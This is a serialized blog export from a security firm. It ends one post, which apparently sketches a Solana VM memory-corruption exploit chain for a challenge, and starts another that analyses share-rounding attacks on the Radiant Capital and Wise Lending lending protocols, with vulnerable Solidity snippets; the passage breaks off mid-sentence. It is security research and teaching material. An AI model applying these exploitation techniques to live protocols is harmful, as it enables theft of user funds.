account]\n",[46907],{"type":22,"tag":257,"props":46908,"children":46909},{"__ignoreMap":7},[46910,46918,46925,46932,46940,46947,46955,46963,46971,46979,46987,46995,47003,47011,47019],{"type":22,"tag":264,"props":46911,"children":46912},{"class":1534,"line":1535},[46913],{"type":22,"tag":264,"props":46914,"children":46915},{},[46916],{"type":27,"value":46917},"graph BT\n",{"type":22,"tag":264,"props":46919,"children":46920},{"class":1534,"line":1545},[46921],{"type":22,"tag":264,"props":46922,"children":46923},{},[46924],{"type":27,"value":45290},{"type":22,"tag":264,"props":46926,"children":46927},{"class":1534,"line":1560},[46928],{"type":22,"tag":264,"props":46929,"children":46930},{},[46931],{"type":27,"value":45298},{"type":22,"tag":264,"props":46933,"children":46934},{"class":1534,"line":1569},[46935],{"type":22,"tag":264,"props":46936,"children":46937},{},[46938],{"type":27,"value":46939},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":22,"tag":264,"props":46941,"children":46942},{"class":1534,"line":1583},[46943],{"type":22,"tag":264,"props":46944,"children":46945},{},[46946],{"type":27,"value":45314},{"type":22,"tag":264,"props":46948,"children":46949},{"class":1534,"line":1603},[46950],{"type":22,"tag":264,"props":46951,"children":46952},{},[46953],{"type":27,"value":46954},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":22,"tag":264,"props":46956,"children":46957},{"class":1534,"line":1612},[46958],{"type":22,"tag":264,"props":46959,"children":46960},{},[46961],{"type":27,"value":46962},"    E --> G[4: process]\n",{"type":22,"tag":264,"props":46964,"children":46965},{"class":1534,"line":1621},[46966],{"type":22,"tag":264,"props":46967,"children":46968},{},[46969],{"type":27,"value":46970},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":22,"tag":264,"props":46972,"children":46973},{"class":1534,"line":1629},[46974],{"type":22,"tag":264,"props":46975,"children":46976},{},[46977],{"type":27,"value":46978},"    G --> I[5: process]\n",{"type":22,"tag":264,"props":46980,"children":46981},{"class":1534,"line":1642},[46982],{"type":22,"tag":264,"props":46983,"children":46984},{},[46985],{"type":27,"value":46986},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":22,"tag":264,"props":46988,"children":46989},{"class":1534,"line":1660},[46990],{"type":22,"tag":264,"props":46991,"children":46992},{},[46993],{"type":27,"value":46994},"    I --> K[6: process]\n",{"type":22,"tag":264,"props":46996,"children":46997},{"class":1534,"line":1668},[46998],{"type":22,"tag":264,"props":46999,"children":47000},{},[47001],{"type":27,"value":47002},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":22,"tag":264,"props":47004,"children":47005},{"class":1534,"line":1677},[47006],{"type":22,"tag":264,"props":47007,"children":47008},{},[47009],{"type":27,"value":47010},"    K --> N[7: process]\n",{"type":22,"tag":264,"props":47012,"children":47013},{"class":1534,"line":1686},[47014],{"type":22,"tag":264,"props":47015,"children":47016},{},[47017],{"type":27,"value":47018},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":22,"tag":264,"props":47020,"children":47021},{"class":1534,"line":4948},[47022],{"type":22,"tag":264,"props":47023,"children":47024},{},[47025],{"type":27,"value":47026},"    N --> O[8: Write 0x4337 to the account]\n",{"type":22,"tag":23,"props":47028,"children":47029},{},[47030,47032,47038],{"type":27,"value":47031},"Small note: ",{"type":22,"tag":257,"props":47033,"children":47035},{"className":47034},[],[47036],{"type":27,"value":47037},"target_r10",{"type":27,"value":47039}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":22,"tag":618,"props":47041,"children":47043},{"className":4274,"code":47042,"language":4273,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[47044],{"type":22,"tag":257,"props":47045,"children":47046},{"__ignoreMap":7},[47047,47092,47127,47134],{"type":22,"tag":264,"props":47048,"children":47049},{"class":1534,"line":1535},[47050,47054,47059,47063,47068,47072,47076,47080,47084,47088],{"type":22,"tag":264,"props":47051,"children":47052},{"style":4293},[47053],{"type":27,"value":21573},{"type":22,"tag":264,"props":47055,"children":47056},{"style":4401},[47057],{"type":27,"value":47058}," call_frame_addr",{"type":22,"tag":264,"props":47060,"children":47061},{"style":1539},[47062],{"type":27,"value":2660},{"type":22,"tag":264,"props":47064,"children":47065},{"style":1549},[47066],{"type":27,"value":47067},"depth",{"type":22,"tag":264,"props":47069,"children":47070},{"style":4309},[47071],{"type":27,"value":5785},{"type":22,"tag":264,"props":47073,"children":47074},{"style":4722},[47075],{"type":27,"value":7151},{"type":22,"tag":264,"props":47077,"children":47078},{"style":1539},[47079],{"type":27,"value":4390},{"type":22,"tag":264,"props":47081,"children":47082},{"style":4309},[47083],{"type":27,"value":15056},{"type":22,"tag":264,"props":47085,"children":47086},{"style":4722},[47087],{"type":27,"value":7151},{"type":22,"tag":264,"props":47089,"children":47090},{"style":1539},[47091],{"type":27,"value":4594},{"type":22,"tag":264,"props":47093,"children":47094},{"class":1534,"line":1545},[47095,47100,47104,47109,47113,47118,47122],{"type":22,"tag":264,"props":47096,"children":47097},{"style":4344},[47098],{"type":27,"value":47099},"    0x200000000",{"type":22,"tag":264,"props":47101,"children":47102},{"style":4309},[47103],{"type":27,"value":10200},{"type":22,"tag":264,"props":47105,"children":47106},{"style":4344},[47107],{"type":27,"value":47108}," 0x2000",{"type":22,"tag":264,"props":47110,"children":47111},{"style":4309},[47112],{"type":27,"value":11115},{"type":22,"tag":264,"props":47114,"children":47115},{"style":1549},[47116],{"type":27,"value":47117}," depth",{"type":22,"tag":264,"props":47119,"children":47120},{"style":4309},[47121],{"type":27,"value":10200},{"type":22,"tag":264,"props":47123,"children":47124},{"style":4344},[47125],{"type":27,"value":47126}," 0x1000\n",{"type":22,"tag":264,"props":47128,"children":47129},{"class":1534,"line":1560},[47130],{"type":22,"tag":264,"props":47131,"children":47132},{"style":1539},[47133],{"type":27,"value":1692},{"type":22,"tag":264,"props":47135,"children":47136},{"class":1534,"line":1569},[47137],{"type":22,"tag":264,"props":47138,"children":47139},{"style":4284},[47140],{"type":27,"value":47141},"// call_frame_addr(8) = 0x200011000\n",{"type":22,"tag":169,"props":47143,"children":47144},{"id":30246},[47145],{"type":27,"value":20252},{"type":22,"tag":23,"props":47147,"children":47148},{},[47149,47151,47158],{"type":27,"value":47150},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":22,"tag":69,"props":47152,"children":47155},{"href":47153,"rel":47154},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[73],[47156],{"type":27,"value":47157},"they do exist",{"type":27,"value":210},{"type":22,"tag":23,"props":47160,"children":47161},{},[47162],{"type":27,"value":47163},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":22,"tag":23,"props":47165,"children":47166},{},[47167,47169,47174],{"type":27,"value":47168},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":22,"tag":1699,"props":47170,"children":47171},{},[47172],{"type":27,"value":47173},"entire",{"type":27,"value":47175}," runtime.",{"type":22,"tag":4139,"props":47177,"children":47178},{},[47179],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":47181},[47182,47186,47187,47190],{"id":20261,"depth":1545,"text":20264,"children":47183},[47184,47185],{"id":41856,"depth":1560,"text":41859},{"id":43175,"depth":1560,"text":43178},{"id":44414,"depth":1545,"text":44417},{"id":45250,"depth":1545,"text":45253,"children":47188},[47189],{"id":45364,"depth":1560,"text":45367},{"id":30246,"depth":1545,"text":20252},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":47195,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47196,"description":47197,"author":47198,"image":47199,"date":47201,"isFeatured":17,"onBlogPage":17,"body":47202,"_type":4157,"_id":48347,"_source":4159,"_file":48348,"_stem":48349,"_extension":4162},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[7010],{"src":47200},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":19,"children":47203,"toc":48336},[47204,47208,47236,47241,47254,47259,47265,47270,47275,47280,47285,47298,47310,47330,47350,47355,47360,47378,47384,47389,47395,47409,47422,47427,47433,47447,47452,47474,47707,47712,47717,47730,47970,47980,47985,47991,47996,48001,48034,48039,48050,48056,48061,48075,48202,48216,48292,48297,48308,48313,48318,48322,48327,48332],{"type":22,"tag":169,"props":47205,"children":47206},{"id":30329},[47207],{"type":27,"value":30332},{"type":22,"tag":23,"props":47209,"children":47210},{},[47211,47213,47220,47221,47228,47230,47235],{"type":27,"value":47212},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":22,"tag":69,"props":47214,"children":47217},{"href":47215,"rel":47216},"https://neodyme.io/de/blog/lending_disclosure",[73],[47218],{"type":27,"value":47219},"fast",{"type":27,"value":4380},{"type":22,"tag":69,"props":47222,"children":47225},{"href":47223,"rel":47224},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[73],[47226],{"type":27,"value":47227},"cheap",{"type":27,"value":47229}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":22,"tag":1699,"props":47231,"children":47232},{},[47233],{"type":27,"value":47234},"Most people haven't considered what happens when shares are worth a lot",{"type":27,"value":210},{"type":22,"tag":23,"props":47237,"children":47238},{},[47239],{"type":27,"value":47240},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":22,"tag":1867,"props":47242,"children":47243},{},[47244,47249],{"type":22,"tag":1871,"props":47245,"children":47246},{},[47247],{"type":27,"value":47248},"Inflate share value (token to share conversion rate)",{"type":22,"tag":1871,"props":47250,"children":47251},{},[47252],{"type":27,"value":47253},"Exploit rounding bug",{"type":22,"tag":23,"props":47255,"children":47256},{},[47257],{"type":27,"value":47258},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":22,"tag":169,"props":47260,"children":47262},{"id":47261},"model",[47263],{"type":27,"value":47264},"Model",{"type":22,"tag":23,"props":47266,"children":47267},{},[47268],{"type":27,"value":47269},"Before we dive in, there's some helpful background information we'll share first.",{"type":22,"tag":23,"props":47271,"children":47272},{},[47273],{"type":27,"value":47274},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":22,"tag":23,"props":47276,"children":47277},{},[47278],{"type":27,"value":47279},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":22,"tag":23,"props":47281,"children":47282},{},[47283],{"type":27,"value":47284},"This question is more complex than it may appear. Let's walk through an example.",{"type":22,"tag":23,"props":47286,"children":47287},{},[47288,47290,47296],{"type":27,"value":47289},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":22,"tag":257,"props":47291,"children":47293},{"className":47292},[],[47294],{"type":27,"value":47295},"1000:1000",{"type":27,"value":47297}," (1000 tokens to 1000 shares).",{"type":22,"tag":23,"props":47299,"children":47300},{},[47301,47303,47309],{"type":27,"value":47302},"After accruing fees, the pool gains one token for a new ratio of ",{"type":22,"tag":257,"props":47304,"children":47306},{"className":47305},[],[47307],{"type":27,"value":47308},"1001:1000",{"type":27,"value":210},{"type":22,"tag":23,"props":47311,"children":47312},{},[47313,47315,47321,47323,47328],{"type":27,"value":47314},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":22,"tag":257,"props":47316,"children":47318},{"className":47317},[],[47319],{"type":27,"value":47320},"1001/1000*999 = 999.999",{"type":27,"value":47322},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":22,"tag":1699,"props":47324,"children":47325},{},[47326],{"type":27,"value":47327},"down",{"type":27,"value":47329}," against the user.",{"type":22,"tag":23,"props":47331,"children":47332},{},[47333,47335,47341,47343,47349],{"type":27,"value":47334},"If we give the user 999 tokens, the new pool state is ",{"type":22,"tag":257,"props":47336,"children":47338},{"className":47337},[],[47339],{"type":27,"value":47340},"2:1",{"type":27,"value":47342},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":22,"tag":257,"props":47344,"children":47346},{"className":47345},[],[47347],{"type":27,"value":47348},"3:1",{"type":27,"value":210},{"type":22,"tag":23,"props":47351,"children":47352},{},[47353],{"type":27,"value":47354},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":22,"tag":23,"props":47356,"children":47357},{},[47358],{"type":27,"value":47359},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":22,"tag":1867,"props":47361,"children":47362},{},[47363,47368,47373],{"type":22,"tag":1871,"props":47364,"children":47365},{},[47366],{"type":27,"value":47367},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":22,"tag":1871,"props":47369,"children":47370},{},[47371],{"type":27,"value":47372},"When you withdraw, are you withdrawing shares or tokens?",{"type":22,"tag":1871,"props":47374,"children":47375},{},[47376],{"type":27,"value":47377},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":22,"tag":169,"props":47379,"children":47381},{"id":47380},"decisions",[47382],{"type":27,"value":47383},"Decisions",{"type":22,"tag":23,"props":47385,"children":47386},{},[47387],{"type":27,"value":47388},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":22,"tag":181,"props":47390,"children":47392},{"id":47391},"radiant-capital",[47393],{"type":27,"value":47394},"Radiant Capital",{"type":22,"tag":23,"props":47396,"children":47397},{},[47398,47400,47407],{"type":27,"value":47399},"Radiant Capital was ",{"type":22,"tag":69,"props":47401,"children":47404},{"href":47402,"rel":47403},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[73],[47405],{"type":27,"value":47406},"hacked on Jan 2nd",{"type":27,"value":47408}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":22,"tag":23,"props":47410,"children":47411},{},[47412,47414,47421],{"type":27,"value":47413},"The exploit is relatively straightforward and ",{"type":22,"tag":69,"props":47415,"children":47418},{"href":47416,"rel":47417},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[73],[47419],{"type":27,"value":47420},"has already been covered previously",{"type":27,"value":210},{"type":22,"tag":23,"props":47423,"children":47424},{},[47425],{"type":27,"value":47426},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":22,"tag":181,"props":47428,"children":47430},{"id":47429},"wise-lending",[47431],{"type":27,"value":47432},"Wise Lending",{"type":22,"tag":23,"props":47434,"children":47435},{},[47436,47438,47445],{"type":27,"value":47437},"Wise Lending was ",{"type":22,"tag":69,"props":47439,"children":47442},{"href":47440,"rel":47441},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[73],[47443],{"type":27,"value":47444},"hacked on January 13th",{"type":27,"value":47446}," for just under $460,000.",{"type":22,"tag":23,"props":47448,"children":47449},{},[47450],{"type":27,"value":47451},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":22,"tag":23,"props":47453,"children":47454},{},[47455,47457,47464,47466,47473],{"type":27,"value":47456},"This is ",{"type":22,"tag":69,"props":47458,"children":47461},{"href":47459,"rel":47460},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[73],[47462],{"type":27,"value":47463},"the code responsible",{"type":27,"value":47465}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":22,"tag":69,"props":47467,"children":47470},{"href":47468,"rel":47469},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[73],[47471],{"type":27,"value":47472},"no way to atomically self-bankrupt",{"type":27,"value":210},{"type":22,"tag":618,"props":47475,"children":47477},{"className":5768,"code":47476,"language":5767,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[47478],{"type":22,"tag":257,"props":47479,"children":47480},{"__ignoreMap":7},[47481,47512,47520,47528,47535,47557,47570,47577,47598,47628,47640,47652,47659,47683,47700],{"type":22,"tag":264,"props":47482,"children":47483},{"class":1534,"line":1535},[47484,47489,47494,47498,47503,47508],{"type":22,"tag":264,"props":47485,"children":47486},{"style":4722},[47487],{"type":27,"value":47488},"uint256",{"type":22,"tag":264,"props":47490,"children":47491},{"style":1539},[47492],{"type":27,"value":47493}," withdrawValue ",{"type":22,"tag":264,"props":47495,"children":47496},{"style":4309},[47497],{"type":27,"value":429},{"type":22,"tag":264,"props":47499,"children":47500},{"style":1539},[47501],{"type":27,"value":47502}," WISE_ORACLE.",{"type":22,"tag":264,"props":47504,"children":47505},{"style":4401},[47506],{"type":27,"value":47507},"getTokensInETH",{"type":22,"tag":264,"props":47509,"children":47510},{"style":1539},[47511],{"type":27,"value":4767},{"type":22,"tag":264,"props":47513,"children":47514},{"class":1534,"line":1545},[47515],{"type":22,"tag":264,"props":47516,"children":47517},{"style":1539},[47518],{"type":27,"value":47519},"    _poolToken,\n",{"type":22,"tag":264,"props":47521,"children":47522},{"class":1534,"line":1560},[47523],{"type":22,"tag":264,"props":47524,"children":47525},{"style":1539},[47526],{"type":27,"value":47527},"    _amount\n",{"type":22,"tag":264,"props":47529,"children":47530},{"class":1534,"line":1569},[47531],{"type":22,"tag":264,"props":47532,"children":47533},{"style":1539},[47534],{"type":27,"value":4463},{"type":22,"tag":264,"props":47536,"children":47537},{"class":1534,"line":1583},[47538,47542,47547,47552],{"type":22,"tag":264,"props":47539,"children":47540},{"style":4309},[47541],{"type":27,"value":18864},{"type":22,"tag":264,"props":47543,"children":47544},{"style":1539},[47545],{"type":27,"value":47546}," WISE_LENDING.",{"type":22,"tag":264,"props":47548,"children":47549},{"style":4401},[47550],{"type":27,"value":47551},"lendingPoolData",{"type":22,"tag":264,"props":47553,"children":47554},{"style":1539},[47555],{"type":27,"value":47556},"(_poolToken).collateralFactor\n",{"type":22,"tag":264,"props":47558,"children":47559},{"class":1534,"line":1603},[47560,47565],{"type":22,"tag":264,"props":47561,"children":47562},{"style":4309},[47563],{"type":27,"value":47564},"    /",{"type":22,"tag":264,"props":47566,"children":47567},{"style":1539},[47568],{"type":27,"value":47569}," PRECISION_FACTOR_E18;\n",{"type":22,"tag":264,"props":47571,"children":47572},{"class":1534,"line":1612},[47573],{"type":22,"tag":264,"props":47574,"children":47575},{"emptyLinePlaceholder":17},[47576],{"type":27,"value":4986},{"type":22,"tag":264,"props":47578,"children":47579},{"class":1534,"line":1621},[47580,47584,47589,47593],{"type":22,"tag":264,"props":47581,"children":47582},{"style":4722},[47583],{"type":27,"value":30999},{"type":22,"tag":264,"props":47585,"children":47586},{"style":1539},[47587],{"type":27,"value":47588}," state ",{"type":22,"tag":264,"props":47590,"children":47591},{"style":4309},[47592],{"type":27,"value":429},{"type":22,"tag":264,"props":47594,"children":47595},{"style":1539},[47596],{"type":27,"value":47597}," borrowPercentageCap\n",{"type":22,"tag":264,"props":47599,"children":47600},{"class":1534,"line":1629},[47601,47605,47609,47614,47619,47623],{"type":22,"tag":264,"props":47602,"children":47603},{"style":4309},[47604],{"type":27,"value":18864},{"type":22,"tag":264,"props":47606,"children":47607},{"style":1539},[47608],{"type":27,"value":4370},{"type":22,"tag":264,"props":47610,"children":47611},{"style":4401},[47612],{"type":27,"value":47613},"overallETHCollateralsWeighted",{"type":22,"tag":264,"props":47615,"children":47616},{"style":1539},[47617],{"type":27,"value":47618},"(_nftId) ",{"type":22,"tag":264,"props":47620,"children":47621},{"style":4309},[47622],{"type":27,"value":5621},{"type":22,"tag":264,"props":47624,"children":47625},{"style":1539},[47626],{"type":27,"value":47627}," withdrawValue)\n",{"type":22,"tag":264,"props":47629,"children":47630},{"class":1534,"line":1642},[47631,47635],{"type":22,"tag":264,"props":47632,"children":47633},{"style":4309},[47634],{"type":27,"value":47564},{"type":22,"tag":264,"props":47636,"children":47637},{"style":1539},[47638],{"type":27,"value":47639}," PRECISION_FACTOR_E18\n",{"type":22,"tag":264,"props":47641,"children":47642},{"class":1534,"line":1660},[47643,47647],{"type":22,"tag":264,"props":47644,"children":47645},{"style":4309},[47646],{"type":27,"value":33761},{"type":22,"tag":264,"props":47648,"children":47649},{"style":1539},[47650],{"type":27,"value":47651}," borrowAmount;\n",{"type":22,"tag":264,"props":47653,"children":47654},{"class":1534,"line":1668},[47655],{"type":22,"tag":264,"props":47656,"children":47657},{"emptyLinePlaceholder":17},[47658],{"type":27,"value":4986},{"type":22,"tag":264,"props":47660,"children":47661},{"class":1534,"line":1677},[47662,47666,47671,47675,47679],{"type":22,"tag":264,"props":47663,"children":47664},{"style":4328},[47665],{"type":27,"value":16879},{"type":22,"tag":264,"props":47667,"children":47668},{"style":1539},[47669],{"type":27,"value":47670}," (state ",{"type":22,"tag":264,"props":47672,"children":47673},{"style":4309},[47674],{"type":27,"value":9870},{"type":22,"tag":264,"props":47676,"children":47677},{"style":4293},[47678],{"type":27,"value":13768},{"type":22,"tag":264,"props":47680,"children":47681},{"style":1539},[47682],{"type":27,"value":16103},{"type":22,"tag":264,"props":47684,"children":47685},{"class":1534,"line":1686},[47686,47691,47696],{"type":22,"tag":264,"props":47687,"children":47688},{"style":4328},[47689],{"type":27,"value":47690},"    revert",{"type":22,"tag":264,"props":47692,"children":47693},{"style":4401},[47694],{"type":27,"value":47695}," ResultsInBadDebt",{"type":22,"tag":264,"props":47697,"children":47698},{"style":1539},[47699],{"type":27,"value":4977},{"type":22,"tag":264,"props":47701,"children":47702},{"class":1534,"line":4948},[47703],{"type":22,"tag":264,"props":47704,"children":47705},{"style":1539},[47706],{"type":27,"value":1692},{"type":22,"tag":23,"props":47708,"children":47709},{},[47710],{"type":27,"value":47711},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":22,"tag":23,"props":47713,"children":47714},{},[47715],{"type":27,"value":47716},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":22,"tag":23,"props":47718,"children":47719},{},[47720,47722,47728],{"type":27,"value":47721},"And indeed, ",{"type":22,"tag":69,"props":47723,"children":47726},{"href":47724,"rel":47725},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[73],[47727],{"type":27,"value":47432},{"type":27,"value":47729}," rounds up the share value.",{"type":22,"tag":618,"props":47731,"children":47733},{"className":5768,"code":47732,"language":5767,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[47734],{"type":22,"tag":257,"props":47735,"children":47736},{"__ignoreMap":7},[47737,47753,47770,47786,47799,47806,47814,47822,47842,47849,47870,47891,47913,47942,47963],{"type":22,"tag":264,"props":47738,"children":47739},{"class":1534,"line":1535},[47740,47744,47749],{"type":22,"tag":264,"props":47741,"children":47742},{"style":4293},[47743],{"type":27,"value":32692},{"type":22,"tag":264,"props":47745,"children":47746},{"style":4401},[47747],{"type":27,"value":47748}," _calculateShares",{"type":22,"tag":264,"props":47750,"children":47751},{"style":1539},[47752],{"type":27,"value":4767},{"type":22,"tag":264,"props":47754,"children":47755},{"class":1534,"line":1545},[47756,47761,47766],{"type":22,"tag":264,"props":47757,"children":47758},{"style":4722},[47759],{"type":27,"value":47760},"    uint256",{"type":22,"tag":264,"props":47762,"children":47763},{"style":1549},[47764],{"type":27,"value":47765}," _product",{"type":22,"tag":264,"props":47767,"children":47768},{"style":1539},[47769],{"type":27,"value":4812},{"type":22,"tag":264,"props":47771,"children":47772},{"class":1534,"line":1560},[47773,47777,47782],{"type":22,"tag":264,"props":47774,"children":47775},{"style":4722},[47776],{"type":27,"value":47760},{"type":22,"tag":264,"props":47778,"children":47779},{"style":1549},[47780],{"type":27,"value":47781}," _pseudo",{"type":22,"tag":264,"props":47783,"children":47784},{"style":1539},[47785],{"type":27,"value":4812},{"type":22,"tag":264,"props":47787,"children":47788},{"class":1534,"line":1569},[47789,47794],{"type":22,"tag":264,"props":47790,"children":47791},{"style":4722},[47792],{"type":27,"value":47793},"    bool",{"type":22,"tag":264,"props":47795,"children":47796},{"style":1549},[47797],{"type":27,"value":47798}," _maxSharePrice\n",{"type":22,"tag":264,"props":47800,"children":47801},{"class":1534,"line":1583},[47802],{"type":22,"tag":264,"props":47803,"children":47804},{"style":1539},[47805],{"type":27,"value":4463},{"type":22,"tag":264,"props":47807,"children":47808},{"class":1534,"line":1603},[47809],{"type":22,"tag":264,"props":47810,"children":47811},{"style":4293},[47812],{"type":27,"value":47813},"    private\n",{"type":22,"tag":264,"props":47815,"children":47816},{"class":1534,"line":1612},[47817],{"type":22,"tag":264,"props":47818,"children":47819},{"style":4293},[47820],{"type":27,"value":47821},"    pure\n",{"type":22,"tag":264,"props":47823,"children":47824},{"class":1534,"line":1621},[47825,47830,47834,47838],{"type":22,"tag":264,"props":47826,"children":47827},{"style":4328},[47828],{"type":27,"value":47829},"    returns",{"type":22,"tag":264,"props":47831,"children":47832},{"style":1539},[47833],{"type":27,"value":4370},{"type":22,"tag":264,"props":47835,"children":47836},{"style":4722},[47837],{"type":27,"value":47488},{"type":22,"tag":264,"props":47839,"children":47840},{"style":1539},[47841],{"type":27,"value":4463},{"type":22,"tag":264,"props":47843,"children":47844},{"class":1534,"line":1629},[47845],{"type":22,"tag":264,"props":47846,"children":47847},{"style":1539},[47848],{"type":27,"value":1542},{"type":22,"tag":264,"props":47850,"children":47851},{"class":1534,"line":1642},[47852,47856,47861,47865],{"type":22,"tag":264,"props":47853,"children":47854},{"style":4328},[47855],{"type":27,"value":18291},{"type":22,"tag":264,"props":47857,"children":47858},{"style":1539},[47859],{"type":27,"value":47860}," _maxSharePrice ",{"type":22,"tag":264,"props":47862,"children":47863},{"style":4309},[47864],{"type":27,"value":9870},{"type":22,"tag":264,"props":47866,"children":47867},{"style":4293},[47868],{"type":27,"value":47869}," true\n",{"type":22,"tag":264,"props":47871,"children":47872},{"class":1534,"line":1660},[47873,47878,47883,47887],{"type":22,"tag":264,"props":47874,"children":47875},{"style":4309},[47876],{"type":27,"value":47877},"        ?",{"type":22,"tag":264,"props":47879,"children":47880},{"style":1539},[47881],{"type":27,"value":47882}," _product % _pseudo ",{"type":22,"tag":264,"props":47884,"children":47885},{"style":4309},[47886],{"type":27,"value":9870},{"type":22,"tag":264,"props":47888,"children":47889},{"style":4344},[47890],{"type":27,"value":25591},{"type":22,"tag":264,"props":47892,"children":47893},{"class":1534,"line":1668},[47894,47899,47904,47908],{"type":22,"tag":264,"props":47895,"children":47896},{"style":4309},[47897],{"type":27,"value":47898},"            ?",{"type":22,"tag":264,"props":47900,"children":47901},{"style":1539},[47902],{"type":27,"value":47903}," _product ",{"type":22,"tag":264,"props":47905,"children":47906},{"style":4309},[47907],{"type":27,"value":2891},{"type":22,"tag":264,"props":47909,"children":47910},{"style":1539},[47911],{"type":27,"value":47912}," _pseudo\n",{"type":22,"tag":264,"props":47914,"children":47915},{"class":1534,"line":1677},[47916,47921,47925,47929,47934,47938],{"type":22,"tag":264,"props":47917,"children":47918},{"style":4309},[47919],{"type":27,"value":47920},"            :",{"type":22,"tag":264,"props":47922,"children":47923},{"style":1539},[47924],{"type":27,"value":47903},{"type":22,"tag":264,"props":47926,"children":47927},{"style":4309},[47928],{"type":27,"value":2891},{"type":22,"tag":264,"props":47930,"children":47931},{"style":1539},[47932],{"type":27,"value":47933}," _pseudo ",{"type":22,"tag":264,"props":47935,"children":47936},{"style":4309},[47937],{"type":27,"value":673},{"type":22,"tag":264,"props":47939,"children":47940},{"style":4344},[47941],{"type":27,"value":20748},{"type":22,"tag":264,"props":47943,"children":47944},{"class":1534,"line":1686},[47945,47950,47954,47958],{"type":22,"tag":264,"props":47946,"children":47947},{"style":4309},[47948],{"type":27,"value":47949},"        :",{"type":22,"tag":264,"props":47951,"children":47952},{"style":1539},[47953],{"type":27,"value":47903},{"type":22,"tag":264,"props":47955,"children":47956},{"style":4309},[47957],{"type":27,"value":2891},{"type":22,"tag":264,"props":47959,"children":47960},{"style":1539},[47961],{"type":27,"value":47962}," _pseudo;\n",{"type":22,"tag":264,"props":47964,"children":47965},{"class":1534,"line":4948},[47966],{"type":22,"tag":264,"props":47967,"children":47968},{"style":1539},[47969],{"type":27,"value":1692},{"type":22,"tag":23,"props":47971,"children":47972},{},[47973,47978],{"type":22,"tag":1699,"props":47974,"children":47975},{},[47976],{"type":27,"value":47977},"Regardless of which way the share rounding occurs, this is a bug",{"type":27,"value":47979},". The correct way would be to do calculations in units of shares and 